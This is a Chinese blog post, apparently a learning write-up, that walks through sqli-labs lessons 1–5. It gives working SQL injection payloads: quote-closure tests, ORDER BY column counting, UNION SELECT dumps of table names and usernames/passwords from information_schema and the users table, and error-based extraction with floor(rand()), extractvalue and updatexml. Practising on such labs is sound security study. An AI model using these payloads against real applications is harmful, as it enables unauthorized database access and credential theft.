简单分析sqlilabs-less1-5

通过sqlilabs简单分析里面的一些函数的使用等,记录学习。

SQL注入原理

SQL注入是指没有对用户输入的数据进行过滤,使得用户的语句可以直接与数据库进行交互

危害

导致机密信息(如用户名、密码等)泄露、修改等

分类

SQL注入的常见注入点为:GET、POST、PUT、cookie、XFF等
less1的为典型的GET注入
根据参数类型又可分为数字型注入字符型注

less1

判断类型

图片: https://uploader.shimo.im/f/Mnh7K62azgPMYeXv.png
?id=1 and 1=2 如果是数字型注入的话应该回显异常
图片: https://uploader.shimo.im/f/bgqX2QAXiF3RZ2wc.png
id=1‘
图片: https://uploader.shimo.im/f/tBdExj7JTaTpTMEM.png
报错为

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ‘‘1’’ LIMIT 0,1’ at line 1

?id=1’ and ‘1’=‘1 正常
图片: https://uploader.shimo.im/f/Sy9lAIJrqdha4uXN.png
可知为字符型注入
字符型注入判断一般使用:单引号’,双引号",左括号(,右括号)等

id=1' and '1'='1
id=1' or '1'='1

分析后台语句构造payload

另外从报错中可知:
主要语句为’‘1’’ LIMIT 0,1’ ,这里去掉最外边的的单引号则为’1’’ limit 0,1 其中1后面的单引号是我们加的参数
所以猜测大概数据库的语句为

select * from xxx where id='xxx' limit 0,1

那么我们构造的语句可以是

order by :查询注入点网页的字段数

select * from xxx where id='1' order by 3%23' limit 0,1

%23注释掉后面的limit 0,1,所以payload为1‘ order by 3
也可使用-- (–空格)注释,但由于–后面的空格经常被忽略所以一般使用–%20进行注释

另外还有一种查询方式,构造语句为

select * from xxx where id='1' order by 3,'1' limit 0,1

payload即为id=1’ order by 3,'1
这里使用的是id=1’ and ‘1’='1方式进行闭合

查字段

?id=1’ order by 4%23报错,可知为三个字段
图片: https://uploader.shimo.im/f/8HlB8xup1BFpVCeJ.png
?id=1’ union select 1,2,3%23 用来判断回显点,但无变化

union用于合并两个或者多个select语句的结果集
因为我们这里查询的是多条数据,所以使用union

图片: https://uploader.shimo.im/f/BB2R7MLy4rQK5S1r.png

判断回显点

将select前面的换为假,即可查出多条数据
图片: https://uploader.shimo.im/f/Kv8NcfgHxSvjLHDo.png
图片: https://uploader.shimo.im/f/y4sOaWGrP0zj9b2v.png
或者更换payload
?id=1’ union select 1,2,3 order by 1, '1
图片: https://uploader.shimo.im/f/T6piArlVC6VkM0S7.png
这时数据库语句为

select * from xxx where id='1' union select 1,2,3 order by 1,'1' limit 0,1

主要是为了闭合掉单引号
可知注入点为2,3

查看数据库名和版本

数据库名:database()
数据库版本:@@version、version()

图片: https://uploader.shimo.im/f/XlWZj9QzYAfBniVM.png

查表名

?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()%23

group_concat:分组拼接函数,联合数据,可以把多条数据一次性注出来 information_schema:提供当前所有数据库信息
information_schema.tables:提供了数据库中表的信息
table_schema:保存的数据库名

图片: https://uploader.shimo.im/f/1RK7xBtjRUHoVXcT.png
PS:这里可以直接使用database()代替前面查到的数据库名“security”
查字段

?id=1' and 1=2 union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'%23

information_schema.columns:提供数据库中字段信息

查数据

?id=1' and 1=2 union select 1,2,group_concat(username,password) from users%23

图片: https://uploader.shimo.im/f/wWoC0OUp3D1p6sc5.png
也可分别查询
图片: https://uploader.shimo.im/f/WwZRnSmsLCvOvUNW.png

?id=1' and 1=2 union select 1,group_concat(concat_ws(':',id,username,password)),3 from users%23

图片: https://uploader.shimo.im/f/1F6GXwAmCMUIoqhv.png

concat_ws:使用指定的字符来连接两个字符,例如:concat_ws(’-’,‘123’,‘a’)就会得到结果123-a。

less2

单引号报错
图片: https://uploader.shimo.im/f/KPahGeCgiU3hmvop.png

报错:’ limit 0,1
推断出数据库语句:

select * from xxx where id=input

%23 --%20闭合均报错,可知不是字符型注入
?id=1 and 1=1 正常
?id=1 and 1=2 回显异常

判断数字型注入:
step1: ?id=1'  报错
step2: ?id=1 and 1=1   正常
step3: ?id=1 and 1=2   回显异常(不代表有报错)

less3

?id=1’
图片: https://uploader.shimo.im/f/oEC0bGSzHPowGZog.png

根据报错猜测数据库语句为

select * from xxx where id=('$id') limit 0,1

构造payload为:

?id=1')   %23

less4

?id=1"
图片: https://uploader.shimo.im/f/Q419BcvnVryHHHGx.png

报错为:

You have an error  in your SQL syntax; check the manual that corresponds to your MySQL  server version for the right syntax to use near '"1"") LIMIT 0,1' at  line 1

关键信息:
"1"") LIMIT 0,1
猜测数据库语句为

select * from xxx where id=("$id") limit 0,1

构造payload为:

?id=1")%23

less5

?id=1’
图片: https://uploader.shimo.im/f/cVSDeTpJSRvwlI9O.png
根据报错猜测数据库语句为

select * from xxx where id='$id' limit 0,1

?id=1’ union select 1,2,3%23
报错但无回显点
图片: https://uploader.shimo.im/f/m8RDy0x8BDZP6fRV.png

报错注入:

定义:

报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据
那么报错注入是怎么形成的呢?

危害:

1、应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;

/2、后台未对MySQL相应的报错函数进行过滤

主要函数

floor

floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分

' union select 1,count(*),concat(0x3a,0x3a,(payload),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a%23

例如
?id=1’ union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=“security” limit 3,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a%23

extractvalue()

对XML文档进行查询的函数 语法:extractvalue(目标xml文档,xml路径) 第二个参数
xml中的位置是可操作的地方,xml文档中查找字符位置是用
/xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

 select * from users where username=' ' and extractvalue(1,concat(':',
> database() )) and ' ' 

查询表
database()替换为
(select group_concat(table_name) from information_schema.tables where table_schema=database() )

updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容) 1’ and
1=(updatexml(1,concat(0x3a,(select database())),1)) and '

查询表
database()替换为
group_concat(table_name) from information_schema.tables where table_schema=database()

我们这里使用updataxml函数

?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)%23
图片: https://uploader.shimo.im/f/keRutmY6ukSIf6P7.png

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
图片: https://uploader.shimo.im/f/owJ8beQyATyRTrTC.png
接下来就是重复步骤了
写在后面:菜是原罪

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值